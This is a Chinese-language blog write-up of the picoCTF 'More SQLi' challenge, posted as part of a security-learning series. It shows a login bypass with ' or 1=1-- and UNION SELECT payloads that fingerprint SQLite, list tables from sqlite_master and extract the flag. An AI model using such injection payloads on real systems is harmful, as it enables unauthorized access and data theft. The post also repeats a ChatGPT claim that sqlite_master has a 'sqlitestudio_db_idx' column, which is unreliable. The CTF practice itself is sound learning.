iT邦幫忙

2023 iThome 鐵人賽

DAY 6
0

前言

昨天介紹了 SQLi 的原理,今天接著找題目來實際打看看!從 picoCTF 找到這題:More SQLi

Write-up

首先會進到這個頁面:
https://ithelp.ithome.com.tw/upload/images/20230920/20162615gTabFRsr5P.png

我們嘗試輸入一點什麼試試,可以看到完整的 Query 語句:
https://ithelp.ithome.com.tw/upload/images/20230920/201626151atubGyQNl.png

這樣我們只需要在密碼輸入 ' or 1=1-- 就可以登入,登入之後來到這個畫面:
https://ithelp.ithome.com.tw/upload/images/20230920/20162615wEZBbdIGKy.png

我們需要先了解目標主機使用哪種資料庫來儲存,ChatGPT 說可以用差異測試來嘗試,因為不同系統可能對不同的語句有不同的反應,可以從這方面下手試試看

  1. MySQL: SELECT version();
  2. PostgreSQL: SELECT version();
  3. MSSQL: SELECT @@version;
  4. SQLite: SELECT sqlite_version();

從上圖可以判斷語句應該 select 了 3 個 column,所以我們把這句加到查詢語句中:
' UNION SELECT version(), 2, 3;--

完整的 query 大致可能長這樣:

SELECT city, address, phone FROM office WHERE city='' UNION SELECT version(), 2, 3;--

試到 SQLite 那個終於跳出了版本,所以可以知道這題背後的 DB 是 SQLite,那我們可以嘗試 query 出全表的資料。

ChatGPT 說 SQLite 中有個 sqlite_master 表,用來儲存其他表的一些資訊和 meta,有以下常用的 column:

  1. type:這個列包含了描述資料庫對象類型的文字值,例如 'table' 表示表,'index' 表示索引,'view' 表示視圖等。
  2. name:這個列包含了對象的名稱,例如表名、索引名、視圖名等。
  3. tbl_name:對於表和索引,這個列包含了它們所屬的表的名稱。對於其他類型的對象,此列為空。
  4. rootpage:這個列包含與對象關聯的根頁數,對於表格,這是B樹根頁的頁碼,對於索引,這是索引頁的頁碼。
  5. sql:這個列包含了創建對象的SQL語句。對於表格和索引,這個列通常包含了創建表格或索引的SQL語句。
  6. sqlitestudio_db_idx:這個列是SQLite Studio使用的一個索引,一般不太需要關心。

看起來我們可以拿 namesql 這兩個 column 來找點東西,於是 query 如下:
' UNION SELECT name, sql, 3 FROM sqlite_master;--

得到了以下資訊,其中就包含了我們要的 flag
https://ithelp.ithome.com.tw/upload/images/20230920/20162615MFpdaWAhMa.png

接著我們下:
' UNION SELECT flag, 2, 3 FROM more_table;--
就可以成功得到 flag!
https://ithelp.ithome.com.tw/upload/images/20230920/20162615FfqzteeFMW.png


上一篇
Day 5. Web Security - SQL Injection 介紹
下一篇
Day 7. Web Security - XSS 介紹
系列文
進了資安公司當後端 RD 才入門資安會不會太晚了30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言